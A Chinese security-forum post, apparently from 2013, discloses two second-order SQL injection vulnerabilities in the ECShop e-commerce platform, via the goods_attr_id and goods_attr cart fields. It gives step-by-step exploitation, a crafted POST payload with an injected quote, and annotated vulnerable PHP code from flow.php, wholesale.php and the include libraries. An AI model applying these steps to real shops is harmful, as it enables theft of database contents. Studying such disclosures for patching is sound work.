查看: 11355|回复: 1

ecshop的goods_attr和goods_attr_id两个二次注入漏洞

[复制链接]
  • TA的每日心情

    5 天前
  • 签到天数: 1628 天

    [LV.Master]伴坛终老

    发表于 2013-8-28 10:13:58 | 显示全部楼层 |阅读模式
    一:goods_attr_id的二次注入
    201307301527491.jpg
    注入利用过程:
    1.添加商品到购物车时,写入注入代码到商品属性id
    http://localhost/test/ecshop/flow.php?step=add_to_cart

    1. POST: goods={"quick":1,"spec":["163","158'"],"goods_id":32,"number":"1","parent":0}
    复制代码
    注意,需要spec有两个或以上id
    2.在查看购物车页面,点击更新购物车,执行注入代码(二次注入嘛,单引号可用了)
    代码分析
    1./includes/lib_goods.php 942行

    1. function spec_price($spec)
    2. {
    3.     if (!empty($spec))
    4.     {
    5.         $where = db_create_in($spec, 'goods_attr_id');  //这里是注入位置,能控制$spec就可以了

    6. $sql = 'SELECT SUM(attr_price) AS attr_price FROM ' . $GLOBALS['ecs']->table('goods_attr') . " WHERE $where";
    7.         $price = floatval($GLOBALS['db']->getOne($sql));
    8.     }
    9.     else
    10.     {
    11.         $price = 0;
    12.     }
    13.     return $price;
    14. }
    复制代码
    2./includes/lib_common.php 2266行get_final_price有spec_price的调用
    3.再看get_final_price方法的调用 在ecshop/flow.php flow_update_cart方法,2272行

    1. /* 处理普通商品或非优惠的配件 */
    2.     else
    3.                 {
    4.                     $attr_id    = empty($goods['goods_attr_id']) ? array() : explode(',', $goods['goods_attr_id']); //看,$attr_id是读取的购物车商品的goods_attr_id字段,所以只要在添加商品到购物车时写入注入代码就可以了
    5.     $goods_price = get_final_price($goods['goods_id'], $val, true, $attr_id);
    6.                     //更新购物车中的商品数量
    7.     $sql = "UPDATE " .$GLOBALS['ecs']->table('cart').
    8.                             " SET goods_number = '$val', goods_price = '$goods_price' WHERE rec_id='$key' AND session_id='" . SESS_ID . "'";            
    复制代码
    二:good_attr的二次注入
    1.插入注入代码(goods_attr)至订单商品(/wholesale.php可以插入,即商品批发页面.
    201307301528202.jpg
    2.将1生成的订单在用户中心订单查看页执行“放回购物车”操作。
    3.查看购物车页面,注入代码执行
    201307301528443.jpg
    代码分析:
    1./includes/lib_order.php get_cart_goods()方法(读取购物车的商品),1626行起

    1. /* 查询规格 */
    2. if (trim($row['goods_attr']) != '')
    3.         {
    4.             $sql = "SELECT attr_value FROM " . $GLOBALS['ecs']->table('goods_attr') . " WHERE goods_attr_id " .
    5.             db_create_in($row['goods_attr']); //goods_attr是购物车商品的属性,所以只要能控制注入代码进入购物车商品就ok了,这是二次注入的原因
    6. $attr_list = $GLOBALS['db']->getCol($sql);
    7.             foreach ($attr_list AS $attr)
    8.             {
    9.                 $row['goods_name'] .= ' [' . $attr . '] '; //union select方式可以将数据库内容查询出来显示到页面上
    10. }
    11.         }
    复制代码
    2. /wholesale.php 160行起(将商品提交到购物车,实际上是提交到了$_SESSION)
    查看源代码打印帮助

    1. /*------------------------------------------------------ */
    2.     //-- 加入购物车
    3.     /*------------------------------------------------------ */
    4.     elseif ($_REQUEST['act'] == 'add_to_cart')
    5.     {
    6.         /* 取得参数 */
    7.         $act_id         = intval($_POST['act_id']);
    8.         $goods_number   = $_POST['goods_number'][$act_id];
    9.         $attr_id        = isset($_POST['attr_id']) ? $_POST['attr_id'] : array();
    10.         if(isset($attr_id[$act_id]))
    11.         {
    12.             $goods_attr     = $attr_id[$act_id];  //可控,可以参考我在截图里构造的提交数据
    13.     }
    14.     …
    复制代码
    3./wholesale.php 380行起(act==’submit_order’), 将$_SESSION里的数据写入订单
    查看源代码打印帮助

    1. /* 插入订单商品 */
    2.     foreach ($_SESSION['wholesale_goods'] as $goods)
    3.         {           //如果存在货品
    4.     $product_id = 0;
    5.             if (!empty($goods['goods_attr_id']))
    6.             {
    7.                 $goods_attr_id = array();
    8.                 foreach ($goods['goods_attr_id'] as $value)
    9.                 {
    10.                     $goods_attr_id[$value['attr_id']] = $value['attr_val_id'];
    11.                 }   
    12.                 ksort($goods_attr_id);
    13.                 $goods_attr = implode('|', $goods_attr_id);
    14.                 $sql = "SELECT product_id FROM " . $ecs->table('products') . " WHERE goods_attr = '$goods_attr' AND goods_id = '" . $goods['goods_id'] . "'";
    15.                 $product_id = $db->getOne($sql);
    16.             }   
    17.             $sql = "INSERT INTO " . $ecs->table('order_goods') . "( " .
    18.                         "order_id, goods_id, goods_name, goods_sn, product_id, goods_number, market_price, ".
    19.                         "goods_price, goods_attr, is_real, extension_code, parent_id, is_gift) ".
    20.                     " SELECT '$new_order_id', goods_id, goods_name, goods_sn, '$product_id','$goods[goods_number]', market_price, ".
    21.                         "'$goods[goods_price]', '$goods[goods_attr]', is_real, extension_code, 0, 0 ".
    22.                     " FROM " .$ecs->table('goods') .
    23.                     " WHERE goods_id = '$goods[goods_id]'";
    24.             $db->query($sql);
    复制代码
    4.到3为止,已经可以将注入代码写到订单商品表(order_goods)里了,接下来就是进入购物车数据表,在用户中心查看订单时有个”放回购物车”操作,可以将订单商品放到购物车数据表(cart)里,
    然后在查看购物车页面/flow.php即能看到注入结果了(见1的代码分析)
    /includes/lib_transaction.php return_to_cart方法 854行起
    查看源代码打印帮助

    1. ...
    2.         // 要返回购物车的商品  //约923行
    3. $return_goods = array(
    4.             'goods_id'      => $row['goods_id'],
    5.             'goods_sn'      => addslashes($goods['goods_sn']),
    6.             'goods_name'    => addslashes($goods['goods_name']),
    7.             'market_price'  => $goods['market_price'],
    8.             'goods_price'   => $goods['goods_price'],
    9.             'goods_number'  => $row['goods_number'],
    10.             'goods_attr'    => empty($row['goods_attr']) ? '' : addslashes($row['goods_attr']),  //看过来,重点在这,$row是订单商品,虽然addslashes了,但这是二次注入,最终会从数据库里再出来进入查询(见1的代码分析)
    11. 'goods_attr_id'    => empty($row['goods_attr_id']) ? '' : $row['goods_attr_id'],
    12.             'is_real'       => $goods['is_real'],
    13.             'extension_code'=> addslashes($goods['extension_code']),
    14.             'parent_id'     => '0',
    15.             'is_gift'       => '0',
    16.             'rec_type'      => CART_GENERAL_GOODS
    17.         );
    18. ...
    复制代码
    漏洞作者:BLUE
    回复

    使用道具 举报

    头像被屏蔽

    该用户从未签到

    发表于 2014-11-16 20:49:22 | 显示全部楼层
    提示: 作者被禁止或删除 内容自动屏蔽
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    指导单位

    江苏省公安厅

    江苏省通信管理局

    浙江省台州刑侦支队

    DEFCON GROUP 86025

    旗下站点

    邮箱系统

    应急响应中心

    红盟安全

    联系我们

    官方QQ群:112851260

    官方邮箱:security#ihonker.org(#改成@)

    官方核心成员

    Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

    GMT+8, 2024-11-18 16:44 , Processed in 0.037431 second(s), 15 queries , Gzip On, MemCache On.

    Powered by ihonker.com

    Copyright © 2015-现在.

  • 返回顶部